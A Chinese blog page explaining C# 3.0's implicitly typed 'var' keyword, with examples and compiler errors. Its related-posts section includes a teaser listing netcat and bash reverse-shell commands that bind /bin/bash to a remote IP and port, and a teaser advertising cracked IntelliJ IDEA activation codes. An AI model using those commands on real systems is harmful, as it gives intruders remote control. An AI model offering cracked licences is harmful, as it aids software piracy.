C# 3.0新特性系列:隐含类型var

C# 3.0新特性系列:隐含类型var

 
一.神奇的var

  在C#3.0中增加了一个变量声明var,这个声明和JavaScript 的 var类似,但也有不同。

  1. 相同点,它可以用var来声明任何类型的局部变量。

  2. 不同点,它仅仅负责告诉编译器,该变量需要根据初始化表达式来推断变量的类型,而且只能是局部变量。

  
二.相同点

  它可以声明

var integer = 10;
var name = “edisundong”;
var numbers = new int[] { 1, 2, 3 };

  
三.不同点

  var仅仅是一个关键字,它并不是C#3.0中的一种新的类型,而是负责告诉编译器,该变量需要根据初始化表达式来推断变量的类型,上面的语句相当于

int integer = 10;
string name = ” edisundong “;
int[] numbers = new int[] { 1, 2, 3 };

  三.注意点

  1.在声明时必须同时赋值,因为声明依赖于赋值号右边的表达式,如果有下面的语句:

var integer;
integer = 10;

  编译时会报Implicitly typed locals must be initialized错误。

  2.在使用var声明一个局部变量后,它仍然具有强类型,可以做如下测试:

var integer = 10;
integer = ” edisundong “;

  编译时会报Cannot implicitly convert type ‘string’ to ‘int’错误。

  3. 初始化器表达式的编译期类型不可以是空(null)类型,编译器无法根据null来推断出局部变量的类型,如有下面的语句:

var integer = null;

  编译时会报Cannot assign ‘<null>’ to an implicitly typed local错误。

  4. 初始化语句必须是一个表达式,初始化表达式不能包含它自身,但是可以是包含一个对象或集合初始化器的一个new表达式(即匿名类型)。

  如可以这样去声明:

var coll = new Hashtable();

  5. var的声明仅限于局部变量,也可以包含在foreach、for、using语句中。下面的使用是错误的:

class Program
{
 private var i = 10; //全局私有变量。
 static void Main(string[] args)
 { }
}

  编译时会报The contextual keyword ‘var’ may only appear within a local variable declaration错误。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/111081.html原文链接:https://javaforall.net

(0)
上一篇 2021年7月25日 上午8:00
下一篇 2021年7月25日 上午9:00


相关推荐

  • java根据子节点获取它对应的所有父节点_java根据父节点查找子节点

    java根据子节点获取它对应的所有父节点_java根据父节点查找子节点递归获取所有子节点测试用例:/***递归获取所有子节点,不包含自己*/publicclassgetChildren{ staticList<Map<String,Object>>childCategoryList=newArrayList<Map<String,Object>>(); publicsta…

    2026年1月14日
    3
  • linux idea 激活码【2022.01最新】

    (linux idea 激活码)最近有小伙伴私信我,问我这边有没有免费的intellijIdea的激活码,然后我将全栈君台教程分享给他了。激活成功之后他一直表示感谢,哈哈~https://javaforall.net/100143.htmlIntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,上面是详细链接哦~0HKL…

    2022年3月31日
    395
  • 聊聊互联网行业年终奖:大家一起关门哭吧「建议收藏」

    聊聊互联网行业年终奖:大家一起关门哭吧

    2022年2月12日
    56
  • matlab从小到大的冒泡排序_matlab比较两个数大小

    matlab从小到大的冒泡排序_matlab比较两个数大小[1,2,3];%冒泡法排序,注意的是特征值顺序变化的同时要与相对应的下标同…转换完之后对向量进行逆序排列,我看到有同学硬是写了一个冒泡排序来完成这个工作,你的数据结构老师一定非常欣慰。但是在MATLAB里不用从头开始,直接调用sort……3.实现对输入任意长度向量元素的冒泡排序的升序排列。不允许使用sort函数…三分搜索法hdu1016PrimeRi…

    2022年10月18日
    5
  • python反弹shell_反弹Shell小结

    python反弹shell_反弹Shell小结1 NC 反弹 shell1 1 正向反弹 shell 服务器 nc lvvp7777 e bin bash 攻击机 ncserver ip77771 2 反向反弹 shell 攻击机 nc lvvp7777 服务器 nc e bin bashClient ip77771 3 不带 e 反弹 2 bash 反弹 shell2 1bash i 攻击机 nc lvvp7777 服务器 bash i amp

    2026年3月17日
    3
  • batch内负采样

    batch内负采样一般在计算softmax交叉熵时,需要用tf.nn.log_uniform_candidate_sampler多itemid做随机负采样。但是在类似dssm这种双塔模型中,item侧特征除了itemid外,还有其他meta特征,此时负样本对itemid做负采样后,还需要取相应负样本的meta特征。可是在tf训练数据中并不方便建立itemid与各类meta特征的映射表。为了解决dssm类模型的负采样问题,可以取一个batch内其他用户的正样本做为本用户的负样本,以解决负采样meta特征问题。好了,废话少说,

    2022年6月23日
    75

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号